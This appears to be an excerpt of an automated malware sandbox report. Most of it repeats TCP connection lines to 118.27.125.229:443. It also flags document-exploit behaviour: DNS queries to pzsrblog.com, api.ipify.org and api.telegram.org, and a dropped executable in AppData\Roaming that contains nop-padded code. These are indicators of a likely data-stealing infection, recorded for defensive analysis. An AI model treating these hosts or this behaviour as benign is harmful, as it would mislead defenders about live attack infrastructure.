Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 118.27.125.229:443 -> 192.168.2.5:49718
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: pzsrblog.com
Source: global traffic DNS query: name: pzsrblog.com
Source: global traffic DNS query: name: pzsrblog.com
Source: global traffic DNS query: name: api.ipify.org
Source: global traffic DNS query: name: api.ipify.org
Source: global traffic DNS query: name: api.telegram.org
Source: global traffic DNS query: name: api.ipify.org
Source: global traffic DNS query: name: api.ipify.org
Source: global traffic DNS query: name: api.telegram.org
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 15_2_08C3B280
Source: C:\Users\user\AppData\Roaming\PROMZwFp385vXrN.exe Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h 15_2_08C3D808
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49724 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49727 -> 64.185.227.156:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49701 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49702 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49703 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49704 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49705 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49706 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49707 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49708 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49709 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49710 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49711 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49712 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
Source: global traffic TCP traffic: 192.168.2.5:49718 -> 118.27.125.229:443
